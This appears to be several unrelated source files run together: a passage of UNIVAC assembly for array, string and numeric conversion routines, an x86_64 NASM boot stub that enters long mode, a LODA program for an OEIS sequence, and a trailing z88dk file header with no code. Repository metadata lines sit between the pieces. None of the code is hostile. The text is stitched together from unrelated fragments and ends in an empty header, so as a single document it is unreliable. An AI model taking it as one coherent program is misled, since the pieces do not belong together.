PARAMETERS: . SEE GETARRAYQ . . ++++++++++ GETSARRAY* SA,W NA$A . SAVE THE REGISTERS SBW NA$B . LBPJB1 ARRAYADR . GET ADDRESS OF ITEM LQ,A . LA,W NA$A . RESTORE THE REGISTERS SB,W B4,NA$B+3 LBW NA$B J 0,B1 . . ++++++++++ . PUTARRAYQ . . DECODE THE ARRAY SUBSCRIPTS PASSED ON THE STACK AND UPDATE . THE ADDRESSED ARRAY ITEM WITH THE VALUE PASSED AS THE FIRST . PARAMETER. . . PARAMETERS: . . NEW ARRAY ITEM VALUE . INDEX1 . . . . . . . INDEXN . ARRAY POINTER . N . NEW VALUE IN Q . . RETURNS: . NEW ARRAY ITEM VALUE IN Q . ++++++++++ PUTARRAYQ* SA,W NA$A . SAVE THE REGISTERS SBW NA$B . LBPJB1 ARRAYADR . DECODE SUBSCRIPTS . LB,A B5 LBPJB1 POPQ . GET NEW VALUE SQ,W 0,B5 . UPDATE CONTENTS OF ITEM . LA,W NA$A . RESTORE REGISTERS SB,W B4,NA$B+3 LBW NA$B J 0,B1 . ++++++++++ . PUTARRAYAQ . . DECODE THE ARRAY SUBSCRIPTS PASSED ON THE STACK AND UPDATE . THE ADDRESSED ARRAY ITEM WITH THE VALUE PASSED AS THE FIRST . PARAMETER. . . PARAMETERS: . SEE GETARRAYQ . . RETURNS: . NEW ARRAY ITEM VALUE IN AQ . ++++++++++ PUTARRAYAQ* SBW NA$B . SAVE THE REGISTERS . LBPJB1 ARRAYADR . DECODE SUBSCRIPTS . LB,A B5 LBPJB1 POPAQ . GET NEW VALUE DPS 0,B5 . UPDATE CONTENTS OF ITEM . SB,W B4,NA$B+3 LBW NA$B . RESTORE THE REGISTERS J 0,B1 . NA$DIM RES 1D . # DIMENSIONS (MAX 10) NA$LIMITS RES 20D . TBL OF DIM LIMITS NA$ITEMSZ RES 1D NA$TOTSZ RES 1D NA$A RES 1D NA$Q RES 1D NA$B RES 7D NA$ADDR RES 1D NA$BFR RES 1D . . ++++++++++++++++++++++++++++++++++++++++++++++ . STRING ROUTINES . ++++++++++++++++++++++++++++++++++++++++++++++ . ++++++++++ . . NEWSTRING . . ALLOCATE A NEW STRING FROM THE HEAP . . PARAMETERS: . STRING LENGTH IN Q . . RETURNS: . PTR TO STRING IN Q . . ++++++++++ NEWSTRING* SA,W NA$A SBW NA$B . SQ,W NS$LEN . SAVE LENGTH FOR LATER ANQ 1D . CALC # WORDS REQUIRED TO ZA . HOLD STRING +1 FOR LENGTH D 5D AQ 2D SQ,W $+2 . ALLOC STRING BUFFER SLJ FM$GETMEM +0 LB,W B5,$-1 . GET BUFFER ADDRESS LA,W NS$SPACES . CLR BFR TO SPACES SQ,L $+1 R 0,,ADV SA,W 0,B5 LA,W NS$LEN . SET LENGTH IN CHARACTERS SA,W 0,B5 SB,A B5 . RETURN ADDR OF STRING LQ,A . LA,W NA$A LBW NA$B J 0,B1 . NS$LEN RES 1D NS$SPACES +' ' . ++++++++++ . FREESTRING . . RETURN A STRING BUFFER TO THE HEAP . . PARAMETERS: . ADDRESS OF STRING BUFFER IN Q . . RETURNS: . NONE . . ++++++++++ FREESTRING* SQ,W $+2 SLJ FM$FREEMEM +0 J 0,B1 . ++++++++++ . STRCPY . . COPY A (SUB)STRING TO ANOTHER (SUB)STRING . . PARAMETERS: . ALL PARAMETERS ARE PASSED ON THE STACK . SOURCE-STRING-POINTER . SOURCE-START . SOURCE-END . DEST-STRING-POINTER . DEST-START . DEST-END . . RETURNS: . NONE . . ++++++++++ STRCPY* SLJ SC$SAVE . SAVE REGISTERS SLJ SC$INIT . GET PARAMS, ETC. . LQ,W SC$DSTART TQ,W SC$DEND,,YMORE . PAST END OF DEST? J SC$RTRN . YES LQ,W SC$SSTART TQ,W SC$SEND,,YMORE . PAST END OF SOURCE? J SC$BLANKS . YES, DEST = SPACES . SC$LOOP LQ,L SC$SRC . SET UP SRC INSTRUCTIONS SQ,L SC$LOAD1 . LQ,L SC$DEST . SET UP DEST INSTRUCTIONS SQ,L SC$LOAD2 SQ,L SC$STORE . SC$LOAD1 LQ,W 0,B5 . GET SOURCE WORD LSAQ,U SC$SRC . GET BYTE INTO A NOT,X 77700 . CLEAR ALL BUT BYTE SA,W SC$BYTE SC$LOAD2 LQ,W 0,B6 . GET DEST WORD LSAQ,U SC$DEST . GET BYTE INTO A NOT 77 . CLEAR IT OR,W SC$BYTE . COPY BYTE TO A RSAQ,U SC$DEST . BACK INTO Q SC$STORE SQ,W 0,B6 . SAVE TO DEST . RI,W SC$DSTART . BUMP DEST BYTE # TA,W SC$DEND,,YMORE . END OF STRING? J SC$RTRN . YES LA 6D . BUMP DEST SHIFT COUNT RA,U SC$DEST TA 31D,,YLESS . NEXT WORD? J SC$SBUMP . NO LA 6D . YES, RESET SHIFT COUNT SA,U SC$DEST RI,L SC$DEST . BUMP WORD # SC$SBUMP RI,W SC$SSTART . BUMP SRC BYTE # TA,W SC$SEND,,YMORE . END OF STRING? J SC$BLANKS . YES LA 6D . BUMP SRC SHIFT COUNT RA,U SC$SRC TA 31D,,YLESS . NEXT WORD? J SC$LOOP . NO LA 6D . YES, RESET SHIFT COUNT SA,U SC$SRC RI,L SC$SRC . BUMP WORD # J SC$LOOP . SC$RTRN SLJ SC$RST . RESTORE REGISTERS J 0,B1 . . RIGHT FILL DESTINATION WITH SPACES . SC$BLANKS LQ,L SC$DEST . SET UP INSTRUCTIONS SQ,L SC$LOAD3 SQ,L SC$STORE2 SC$LOAD3 LQ,W 0,B6 LSAQ,U SC$DEST NOT 77 OR ' ' RSAQ,U SC$DEST SC$STORE2 SQ,W 0,B6 RI,W SC$DSTART . BUMP DEST BYTE # TA,W SC$DEND,,YMORE . END OF STRING? J SC$RTRN . YES LA 6D . BUMP DEST SHIFT COUNT RA,U SC$DEST TA 31D,,YLESS . NEXT WORD? J SC$BLANKS . NO LA 6D . YES, RESET SHIFT COUNT SA,U SC$DEST RI,L SC$DEST . BUMP WORD # J SC$BLANKS . ++++++++++ . STRCOMP . . COMPARE A (SUB)STRING TO ANOTHER (SUB)STRING . . PARAMETERS: . ALL PARAMETERS ARE PASSED ON THE STACK . SOURCE-STRING-POINTER . SOURCE-START . SOURCE-END . DEST-STRING-POINTER . DEST-START . DEST-END . . RETURNS: . RESULT OF COMPARISON IN A . -1 IF SOURCE < DEST . 0 IF SOURCE = DEST . 1 IF SOURCE > DEST . . ++++++++++ STRCOMP* SLJ SC$SAVE SLJ SC$INIT . SB,A B5 . POINT TO INTIAL WORD A,L SC$SRC LB,A B5 SB,A B6 A,L SC$DEST LB,A B6 SZ,W SC$A . ASSUME STRINGS ARE EQUAL . LQ,W SC$DSTART TQ,W SC$DEND,,YMORE . PAST END OF SUBSTRING? J SCO$CHKLSP . YES, CHK LEFT FOR ALL SPACES LQ,W SC$SSTART TQ,W SC$SEND,,YMORE . PAST END OF SUBSTRING? J SCO$CHKRSP . YES, CHK RIGHT FOR ALL SPACES . SCO$LOOP LQ,W 0,B6 . GET RIGHT HAND CHAR LSAQ,U SC$DEST NOT,X 77700 SA,W SC$BYTE LQ,W 0,B5 . GET LEFT HAND CHAR LSAQ,U SC$SRC NOT,X 77700 AN,W SC$BYTE,,AZERO . SUBTRACT RIGHT HAND CHAR J SCO$NEQ . NOT EQUAL, WE'RE ALMOST DONE . RI,W SC$DSTART . BUMP DEST BYTE # TA,W SC$DEND,,YMORE . END OF STRING? J SCO$CHKLSP . YES, CHECK LEFT FOR SPACES LA 6D . BUMP DEST SHIFT COUNT RA,U SC$DEST TA 31D,,YLESS . NEXT WORD? J SCO$SBUMP . NO LA 6D . YES, RESET SHIFT COUNT SA,U SC$DEST TBI B6,77777 . BUMP WORD PTR NOP SCO$SBUMP RI,W SC$SSTART . BUMP SRC BYTE # TA,W SC$SEND,,YMORE . END OF STRING? J SCO$CHKRSP . YES, CHECK RIGHT FOR SPACES LA 6D . BUMP SRC SHIFT COUNT RA,U SC$SRC TA 31D,,YLESS . NEXT WORD? J SCO$LOOP . NO LA 6D . YES, RESET SHIFT COUNT SA,U SC$SRC TBI B5,77777 NOP J SC$LOOP . SCO$NEQ LA,A 0,,APOS LA,X -1D,,ANEG . SRC < DEST LA 1D . SRC > DEST SA,W SC$A . SCO$RTRN SLJ SC$RST . RESTORE REGISTERS J 0,B1 . SCO$CHKLSP LA,W SC$SSTART . END OF LEFT STRING? TA,W SC$SEND,,YMORE . J SCO$RTRN . YES, STRINGS EQUAL LA 6D SA,U SC$DEST LB B6,NS$SPACES J SCO$SBUMP . SCO$CHKRSP LA,W SC$DSTART TA,W SC$DEND,,YMORE . END OF RIGHT STRING? J SCO$RTRN . YES, STRINGS EQUAL LA 6D SA,U SC$SRC LB B5,NS$SPACES J SCO$LOOP . ++++++++++ . INT2STRR . . CONVERT AN INTEGER IN Q TO THE RIGHT JUSTIFIED STRING GIVEN . BY THE STACK PARAMETERS. . . PARAMETERS: . INTEGER TO CONVERT IN Q . STACK: . DEST-STRING-POINTER . DEST-START . DEST-END . . RETURNS: . NONE . . ++++++++++ INT2STRR* SLJ SC$SAVE SLJ SC$INEG SQ,W SC$NUM SLJ SC$INIT1R . . CLEAR STRING TO SPACES I2S$CLEAR LQ,W 0,B6 . CLEAR CRNT CHAR TO SPACE LSAQ,U SC$DEST NOT 77 OR ' ' RSAQ,U SC$DEST SQ,W 0,B6 SLJ SC$DECR . DECREMENT STRING POINTERS J I2S$CLEAR . SLJ SC$INIT1R . RESTORE STRING INFO I2S$DIGIT LQ,W SC$NUM ZA . GET NEXT DIGIT D 10D OR '0' . CVT TO FIELDATA SA,W SC$BYTE SQ,W SC$NUM LQ,W 0,B6 LSAQ,U SC$DEST NOT 77 OR,W SC$BYTE RSAQ,U SC$DEST SQ,W 0,B6 LA,W SC$NUM,,ANOT . NUM = 0? J I2S$DONE . YES, WE'RE DONE SLJ SC$DECR . DECREMENT STRING POINTERS J I2S$DIGIT . I2S$DONE SLJ SC$DECR . DECREMENT STRING POINTERS J $+2 J I2S$RTRN LQ,W 0,B6 . ADD THE SIGN LSAQ,U SC$DEST NOT 77 OR,W SC$SIGN RSAQ,U SC$DEST SQ,W 0,B6 . I2S$RTRN SB,A B4 . RESET STACK PTR A 3D LB,A B4 SLJ SC$RST . RESTORE REGISTERS J 0,B1 . ++++++++++ . FLT2STR . . CONVERT A FLOATING POINT IN AQ TO 12 CHARACTER SCIENTIFIC FORMAT . IN THE STRING GIVEN BY THE STACK PARAMETERS. . . FORMAT -X.XXXX,+/-NNN . . PARAMETERS: . NUMBER TO CONVERT IN AQ . STACK: . DEST-STRING-POINTER . DEST-START . DEST-END . . RETURNS: . NONE . . ++++++++++ FLT2STR* SLJ SC$SAVE SLJ SC$FNEG DPS F2S$NUM . SAVE NUMBER FOR LATER SLJ SC$INIT1R . . CALCULATE THE POWER OF 10 EQUIVALENT TO THE NUMBER'S EXPONENT. . EXP10 = TRUNC(EXP2 * LOG10(2)) . DPL F2S$NUM . GET NUMBER FU F2S$EXP . UNPACK NUMBER TO GET EXPONENT LQ,W F2S$EXP . UNBIAS IT ANQ 1024D LBPJB1 INT2FLOATQ . BACK TO FLOAT FM LOG2 LBPJB1 TRUNC JT $+2,,QNEG . RESULT POSITIVE? AQ 1D . YES, BUMP BY 1 SQ,W F2S$EXP . SAVE IT . . SHIFT THE NUMBER BY THE APPROPRIATE # OF DECIMAL DIGITS TO GET . 5 DIGITS TO THE LEFT OF THE DECIMAL. . NUM = NUM * POW10(5 - EXP10) . DPL TEN . SET UP POWERI PARAMS DPS F2S$P1 F2S$LOOP LQ 5D . MAX. PRECISION ANQ,W F2S$EXP . - EXP SQ,W F2S$P2 . = # DECIMAL DIGITS TO SHIFT LBPJB1 POWERI . POW10(5 - EXP10) F2S$P1 RES 2D F2S$P2 RES 1D FM F2S$NUM . NUM = NUM * POW10(5 - EXP10) DPTL F2S$10K . RESULT < REQ'D PRECISION? J F2S$NUMOK . NOPE, WE'RE OK RD,W F2S$EXP . YES, DECR EXPONENT BY 1 J F2S$LOOP . AND TRY AGAIN F2S$NUMOK LBPJB1 INTEGER . ROUND TO INTEGER SQ,W F2S$NUM . . FORMAT THE EXPONENT . RD,W F2S$EXP . DOWN BY 1 LA,W SC$SPACE . SET SIGN TO POSITIVE SA,W F2S$SIGN LQ,W F2S$EXP,,QNEG . EXP NEGATIVE? J F2S$ECONT . NO LA,W SC$MINUS . YES SA,W F2S$SIGN NQ . NEGATE ORIGINAL EXP SQ,W F2S$EXP F2S$ECONT LB B2,2D . INIT LOOP COUNT F2S$ELOOP LQ,W F2S$EXP ZA . GET NEXT DIGIT D 10D OR '0' . CVT TO FIELDATA SA,W SC$BYTE SQ,W F2S$EXP LQ,W 0,B6 LSAQ,U SC$DEST NOT 77 OR,W SC$BYTE RSAQ,U SC$DEST SQ,W 0,B6 SLJ SC$DECR . DECREMENT STRING POINTERS JBD B2,F2S$ELOOP . LOOP . LQ,W 0,B6 . ADD EXPONENT SIGN LSAQ,U SC$DEST NOT 77 OR,W F2S$SIGN RSAQ,U SC$DEST SQ,W 0,B6 SLJ SC$DECR . DECREMENT STRING POINTERS J $+2 J F2S$RTRN . LQ,W 0,B6 . ADD COMMA SEPARATOR LSAQ,U SC$DEST NOT 77 OR,W F2S$COMMA RSAQ,U SC$DEST SQ,W 0,B6 SLJ SC$DECR . DECREMENT STRING POINTERS J $+2 J F2S$RTRN . . FORMAT THE NUMBER WITH 4 DECIMALS . LB B2,3D F2S$NLOOP LQ,W F2S$NUM . GET NEXT DIGIT ZA D 10D OR '0' . CVT TO FIELDATA SA,W SC$BYTE SQ,W F2S$NUM LQ,W 0,B6 LSAQ,U SC$DEST NOT 77 OR,W SC$BYTE RSAQ,U SC$DEST SQ,W 0,B6 SLJ SC$DECR . DECREMENT STRING POINTERS JBD B2,F2S$NLOOP . LOOP J $+2 J F2S$RTRN . LQ,W 0,B6 . ADD DECIMAL POINT LSAQ,U SC$DEST NOT 77 OR,W F2S$PERIOD RSAQ,U SC$DEST SQ,W 0,B6 SLJ SC$DECR . DECREMENT STRING POINTERS J $+2 J F2S$RTRN . LQ,W 0,B6 . ADD FINAL DIGIT LSAQ,U SC$DEST NOT 77 OR,W F2S$NUM OR '0' . CVT TO FIELDATA RSAQ,U SC$DEST SQ,W 0,B6 SLJ SC$DECR . DECREMENT STRING POINTERS J $+2 J F2S$RTRN . LQ,W 0,B6 . ADD NUMBER'S SIGN LSAQ,U SC$DEST NOT 77 OR,W SC$SIGN RSAQ,U SC$DEST SQ,W 0,B6 . F2S$RTRN SB,A B4 . RESET STACK PTR A 3D LB,A B4 SLJ SC$RST . RESTORE REGISTERS J 0,B1 . TEN DLD 10.0 LOG2 DLD 0.30103 . LOG10(2) F2S$EXP RES 2D F2S$NUM RES 2D F2S$10K DLD 10000.0 F2S$SIGN RES 1D F2S$COMMA +0, 0, 0, 0, 56 F2S$PERIOD +0, 0, 0, 0, 75 . ++++++++++ . SC$INIT . . COMMON SETUP FOR ROUTINES WITH 2 STRINGS . . ++++++++++ SC$INIT +0 LB,W B5,6,B4 . GET PARAMETERS LQ,W 5,B4 . SRC START INDEX ANQ 1D SQ,W SC$SSTART LQ,W 4,B4 TQ,W 0,B5,YMORE . PAST END OF STRING? LQ,W 0,B5 . YES, FORCE TO END SQ,W SC$SEND LB,W B6,3,B4 LQ,W 2,B4 . DEST START INDEX ANQ 1D SQ,W SC$DSTART LQ,W 1,B4 TQ,W 0,B6,YMORE . PAST END OF STRING? LQ,W 0,B6 . YES, FORCE TO END SQ,W SC$DEND SB,A B4 . RESET STACK PTR A 6D LB,A B4 . LQ,W SC$DSTART . GET DEST START ZA . NO D 5D . INITIAL DEST WORD # AQ 1D SQ,L SC$DEST A 1D . INITIAL DEST SHIFT COUNT LQ,A ZA M 6D SQ,U SC$DEST . LQ,W SC$SSTART . GET SOURCE START ZA . NO D 5D . INITIAL SRC WORD # AQ 1D SQ,L SC$SRC A 1D . INITIAL SRC SHIFT COUNT LQ,A ZA M 6D SQ,U SC$SRC . J,L SC$INIT . ++++++++++ . SC$INIT1R . . COMMON SETUP ROUTINE FOR ROUTINES WITH 1 RIGHT JUSTIFIED STRING . ++++++++++ SC$INIT1R +0 LB,W B6,3,B4 LQ,W 2,B4 . DEST START INDEX ANQ 1D SQ,W SC$DSTART LQ,W 1,B4 TQ,W 0,B6,YMORE . PAST END OF STRING? LQ,W 0,B6 . YES, FORCE TO END ANQ 1D . MAKE ZERO RELATIVE SQ,W SC$DEND . LQ,W SC$DEND . GET DEST END ZA D 5D . INITIAL DEST WORD # AQ 1D SQ,L SC$DEST A 1D . INITIAL DEST SHIFT COUNT LQ,A ZA M 6D SQ,U SC$DEST SB,A B6 . POINT TO INITIAL WORD A,L SC$DEST LB,A B6 . J,L SC$INIT1R . SC$SAVE +0 SA,W SC$A SQ,W SC$Q SBW SC$B J,L SC$SAVE . SC$RST +0 LA,W SC$A LQ,W SC$Q SB,W B4,SC$B+3 LBW SC$B J,L SC$RST . ++++++++++ . SC$DECR . . DECREMENT STRING POINTERS FOR ROUTINES WITH 1 RIGHT JUSTIFIED STRING . ++++++++++ SC$DECR +0 RD,W SC$DEND . DECR END CHAR PTR TA,W SC$DSTART,,YLESS . REACHED START OF SUBSTRING? J SCD$DONE . YES, WE'RE DONE LA,U SC$DEST . DECR SHIFT COUNT AN 6D SA,U SC$DEST,,AZERO . ZERO? J,L SC$DECR . NO, KEEP GOING LA 30D . RESET SHIFT COUNT SA,U SC$DEST JBD B6,$+1 . DECR WORD PTR J,L SC$DECR . KEEP GOING SCD$DONE LA,L SC$DECR . STRING FINISHED A 1D . RETURN TO P+1 LB,A B1 J 0,B1 . ++++++++++ . SC$INEG . . IF INTEGER IN Q IS NEGATIVE, SET THE SIGN TO '-' AND COMPLEMENT Q. . OTHERWISE MAKE SIGEN ' '. . ++++++++++ SC$INEG +0 JT SC$IPOS,,QPOS LA,W SC$MINUS SA,W SC$SIGN NQ J,L SC$INEG SC$IPOS LA,W SC$SPACE SA,W SC$SIGN J,L SC$INEG . . ++++++++++ . SC$FNEG . . IF FLOATING POINT NUMBER IN AQ IS NEGATIVE, SET THE SIGN TO '-' . AND COMPLEMENT AQ. . OTHERWISE MAKE SIGEN ' '. . ++++++++++ SC$FNEG +0 JT SC$FPOS,,APOS LB,W B2,SC$MINUS SB,W B2,SC$SIGN DPN J,L SC$FNEG SC$FPOS LB,W B2,SC$SPACE SB,W B2,SC$SIGN J,L SC$FNEG . SC$A RES 1D SC$Q RES 1D SC$B RES 7D SC$SSTART RES 1D SC$SEND RES 1D SC$DSTART RES 1D SC$DEND RES 1D SC$SRC RES 1D SC$DEST RES 1D SC$BYTE RES 1D SC$NUM RES 1D SC$SIGN RES 1D SC$SPACE +0, 0, 0, 0, 5 SC$MINUS +0, 0, 0, 0, 41 . . ++++++++++++++++++++++++++++++++++++++++++++++ . CONVERSTION ROUTINES . ++++++++++++++++++++++++++++++++++++++++++++++ . ++++++++++ . . CONVERT AN INTEGER IN A TO A FLOATING POINT NUMBER IN AQ . . . LBPJB1 INT2FLOAT . . ++++++++++ INT2FLOATA* SZ,W IF$NEG . CLEAR NEGATIVE FLAG JT IF$POS,,APOS LQ 1 . A < 0, SET NEG FLAG SQ,W IF$NEG NA . & MAKE A POSITIVE IF$POS SFS . GET # BITS LEFT OF MSB NQ AQ 1024D+28D+20D . CALC EXPONENT SQ,W IF$TEMP LQ,A . GET NUMBER IN AQ ZA FP IF$TEMP . COMBINE A&EXP INTO FLOATING POINT DPS IF$TEMP . NEGATE AQ IF REQD LA,W IF$NEG,,ANOT J IF$RTRN DPL IF$TEMP DPN DPS IF$TEMP IF$RTRN DPL IF$TEMP J 0,B1 . ++++++++++ . . CONVERT AN INTEGER IN Q TO A FLOATING POINT NUMBER IN AQ . . . LBPJB1 INT2FLOAT . . ++++++++++ INT2FLOATQ* SQ,A J INT2FLOATA . ++++++++++ . SIGNQ . . RETURNS -1 IF Q IS NEGATIVE, 0 IF Q IS ZERO OR 1 IF Q IS POSITIVE. . RESULT RETURNED IN Q . ++++++++++ SIGNQ* SA,W MATH$A SQ,A JT SQ$NEG,,ANEG JT SQ$ZERO,,AZERO LQ 1D . POSITIVE J SQ$RTRN SQ$NEG LQ,X -1D J SQ$RTRN SQ$ZERO LQ,0 SQ$RTRN LA,W MATH$A J 0,B1 . ++++++++++ . SIGNAQ . . RETURNS -1 IF AQ IS NEGATIVE, 0 IF AQ IS ZERO OR 1 IF AQ IS POSITIVE. . RESULT RETURNED IN Q . ++++++++++ SIGNAQ* JT SAQ$NEG,,ANEG JT SAQ$ZERO,,AZERO LQ 1D . POSITIVE J SAQ$RTRN SAQ$NEG LQ,X -1D J SAQ$RTRN SAQ$ZERO LQ,0 SAQ$RTRN J 0,B1 . MATH$A RES 1D IF$TEMP RES 2D IF$NEG RES 1D . ++++++++++ . TRUNC . . RETURN THE INTEGER PART OF THE FLOATING POINT NUMBER IN AQ . AS A 60-BIT INTEGER IN AQ. . ++++++++++ TRUNC* DPS IF$TEMP . SAVE ORIGINAL NUMBER SZ,W IF$NEG . ASSUME NUMBER IS POSITIVE JT T$POS,,APOS . IS IT NEGATIVE? DPN . YES, MAKE MANTISSA POSITIVE DPS IF$TEMP LA 1D . SET NEGATIVE FLAG SA,W IF$NEG T$POS DPL IF$TEMP . RESTORE NUMBER FU T$EXP . UNPACK FLOAT DPS IF$TEMP . SAVE MANTISSA LA,W T$EXP AN 1024D,,ANEG . UNBIAS THE EXPONENT J T$POS2 ZA . EXPONENT < 0 THEN INT = 0 LQ,A J 0,B1 . AND WE'RE DONE T$POS2 LQ 48D . # BITS TO SHIFT = 48 - EXP ANQ,A SQ,W T$EXP . SHIFT TO ELIMINATE FRACTION DPL IF$TEMP RSAQ,L T$EXP DPS IF$TEMP LA,W IF$NEG,,ANOT . IS NEGATIVE FLAG SET? J T$RTRN . NO DPL IF$TEMP . NEGATIVE FLAG IS SET DPN . SO MAKE NEGATIVE DPS IF$TEMP . T$RTRN DPL IF$TEMP J 0,B1 . T$EXP RES 1D . ++++++++++ . FRAC . . RETURN THE FRACTION PART OF THE FLOATING POINT NUMBER IN AQ . AS A FLOATING POINT NUMBER IN AQ . ++++++++++ FRAC* SB,W B2,F$B2 DPS F$ORIG . SAVE ORIGINAL NUMBER DPS IF$TEMP SZ,W IF$NEG . ASSUME NUMBER IS POSITIVE JT F$POS,,APOS . IS IT NEGATIVE? DPN . YES, MAKE MANTISSA POSITIVE DPS IF$TEMP LA 1D . SET NEGATIVE FLAG SA,W IF$NEG F$POS DPL IF$TEMP . RESTORE NUMBER FU T$EXP . UNPACK FLOAT DPS IF$TEMP . SAVE THE MANTISSA LA,W T$EXP AN 1024D,,ANEG . UNBIAS THE EXPONENT J F$POS2 DPL F$ORIG . EXPONENT < 0 THEN FRAC=PARAM LB,W B2,F$B2 J 0,B1 . AND WE'RE DONE F$POS2 AN 1D . DEC BY 1 FOR LOOP SA,W T$EXP . SHIFT TO ELIMINATE FRACTION DPL IF$TEMP LB,W B2,T$EXP . THIS NEEDS TO BE DONE IN A F$SHIFT LSAQ 1D . LOOP BECAUSE LEFT SHIFTS ARE LRSQ 1D . CIRCULAR LSQ 1D JBD B2,F$SHIFT DPS IF$TEMP LQ,W F$LO18 . LOSE SHIFTED OUT BITS LLP,A SA,W IF$TEMP DPL IF$TEMP DPTE F$ZERO . MANTISSA = 0 THEN RESULT = 0 J F$NOTZERO . NO SZ,W IF$TEMP . YES SZ,W IF$TEMP+1 J F$RTRN . F$NOTZERO FP F$EXP0 . ADD EXP OF ZERO AND NORMALIZE DPS IF$TEMP LA,W IF$NEG,,ANOT . IS NEGATIVE FLAG SET? J F$RTRN . NO DPL IF$TEMP . NEGATIVE FLAG IS SET DPN . SO MAKE NEGATIVE DPS IF$TEMP . F$RTRN LB,W B2,F$B2 DPL IF$TEMP J 0,B1 . F$B2 RES 1D F$ORIG RES 2D F$LO18 +777777 F$ZERO DLD 0.0 F$EXP0 +2000 . ++++++++++ . ENTIER . . RETURN THE INTEGER PART OF THE FLOATING POINT NUMBER IN AQ . SUCH THAT THE RESULT IS NOT GREATER THAN THE ORIGINAL. . I.E. ENTIER(3.5) = 3 WHILE ENTIER(-4.5) = -5. . . RESULT RETURNED AS A 60-BIT INTEGER IN AQ . ++++++++++ ENTIER* SB,W B1,E$B1 DPS E$ORIG . SAVE ORIGINAL # LBPJB1 TRUNC . GET INTEGER PART JT E$RTRN,,APOS . IF RESULT POSITIVE, WE'RE DONE DPS E$TEMP . NEGATIVE DPL E$ORIG . GET FRACTIONAL PART LBPJB1 FRAC DPTE F$ZERO . FRAC = ZERO? J E$ADJUST . NO, NEED TO ADJUST RESULT E$RTRN LB,W B1,E$B1 J 0,B1 . E$ADJUST DPL E$TEMP . RESULT = RESULT - 1 DPAN E$ONE J E$RTRN . E$ORIG RES 2D E$B1 RES 1D E$TEMP RES 2D E$ONE DLD 1 . ++++++++++ . INTEGER . . RETURN THE INTEGER PART OF THE FLOATING POINT NUMBER IN AQ . ROUNDED. RESULT RETURNED IN AQ . . ++++++++++ INTEGER* FA I$POINT5 J ENTIER . I$POINT5 DLD 0.5 . . +++++++++++++++++++++++++++++++++++++++++++++++++++ . FREE MEMORY LIST FOR THE HEAP . +++++++++++++++++++++++++++++++++++++++++++++++++++ ALG$HEAP L$IST AH$HEAD FM$CB END
41.045584
98
0.296634
34b6ed732a7d594e5b5e138434f0eba3c7018481
2,103
asm
Assembly
source/impl/x86_64/boot/main.asm
Imoali/GalacticOS
0cffc8c5437aa453ce9d937541c07312a41dcd72
[ "Apache-2.0" ]
1
2021-03-24T14:48:25.000Z
2021-03-24T14:48:25.000Z
source/impl/x86_64/boot/main.asm
Imoali/GalacticOs
0cffc8c5437aa453ce9d937541c07312a41dcd72
[ "Apache-2.0" ]
null
null
null
source/impl/x86_64/boot/main.asm
Imoali/GalacticOs
0cffc8c5437aa453ce9d937541c07312a41dcd72
[ "Apache-2.0" ]
null
null
null
global start extern long_mode_start section .text bits 32 start: mov esp, stack_top call check_multiboot call check_cpuid call check_long_mode call setup_page_tables call enable_paging lgdt [gdt64.pointer] jmp gdt64.code_segment:long_mode_start hlt check_multiboot: cmp eax, 0x36d76289 jne .no_multiboot ret .no_multiboot: mov al, "M" jmp error check_cpuid: pushfd pop eax mov ecx, eax xor eax, 1 << 21 push eax popfd pushfd pop eax push ecx popfd cmp eax, ecx je .no_cpuid ret .no_cpuid: mov al, "C" jmp error check_long_mode: mov eax, 0x80000000 cpuid cmp eax, 0x80000001 jb .no_long_mode mov eax, 0x80000001 cpuid test edx, 1 << 29 jz .no_long_mode ret .no_long_mode: mov al, "L" jmp error setup_page_tables: mov eax, page_table_l3 or eax, 0b11 ; present , writable mov [page_table_l4], eax mov eax, page_table_l2 or eax, 0b11 ; present , writable mov [page_table_l3], eax mov ecx, 0 .loop: mov eax, 0x200000 ; 2Mib mul ecx or eax, 0b10000011; present, writable, hugepage mov [page_table_l2 + ecx * 8], eax inc ecx ;increment counter cmp ecx, 512 ;check if whole table is mapped jne .loop ret enable_paging: ;pass page table location to cpu mov eax, page_table_l4 mov cr3, eax ;enable PAE mov eax, cr4 or eax, 1 << 5 mov cr4, eax ;enable longmode mov ecx, 0xC0000080 rdmsr or eax, 1 << 8 wrmsr ;enable_paging mov eax, cr0 or eax, 1 << 31 mov cr0, eax ret error: ; print error mov dword [0xb8000], 0x4f524f45 mov dword [0xb8004], 0x4f3a4f52 mov dword [0xb8008], 0x4f204f20 mov byte [0xb800a], al hlt section .bss align 4096 page_table_l4: resb 4096 page_table_l3: resb 4096 page_table_l2: resb 4096 stack_bottom: resb 4096 * 4 stack_top: section .rodata gdt64: dq 0 ; zero entry .code_segment: equ $ - gdt64 dq (1 << 43) | (1 << 44) | (1 << 47) | (1 << 53) ; code segment .pointer: dw $ - gdt64 - 1 dq gdt64
15.463235
67
0.647171
8da7483d0348245df74f89edf084158605857295
566
asm
Assembly
programs/oeis/028/A028913.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/028/A028913.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/028/A028913.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A028913: First differences of A007952. ; 1,2,2,4,2,6,4,8,4,8,6,10,2,18,4,20,6,10,14,18,4,20,18,18,4,26,18,16,8,40,8,30,12,30,16,24,12,44,12,30,30,42,10,26,24,46,14,48,22,38,30,48,12,60,12,52,14,54,52,26,12,66,54,60,10,26,60,60,10,74,30,52,56,64,14,34,50,108,18,60,42,82,50,22,26,94,60,86,22,60,56,42,58,104,18,114,18,30,132,48 mov $3,2 mov $5,$0 lpb $3 mov $0,$5 sub $3,1 add $0,$3 trn $0,1 seq $0,104738 ; Positions of records in A104706. mul $0,2 sub $0,1 mov $2,$3 mul $2,$0 add $1,$2 mov $4,$0 lpe min $5,1 mul $5,$4 sub $1,$5 mov $0,$1
24.608696
287
0.60424
cf4c42e40e5d9bf84a33a066157da84124c24978
961
asm
Assembly
libsrc/_DEVELOPMENT/adt/w_array/z80/asm_w_array_erase.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
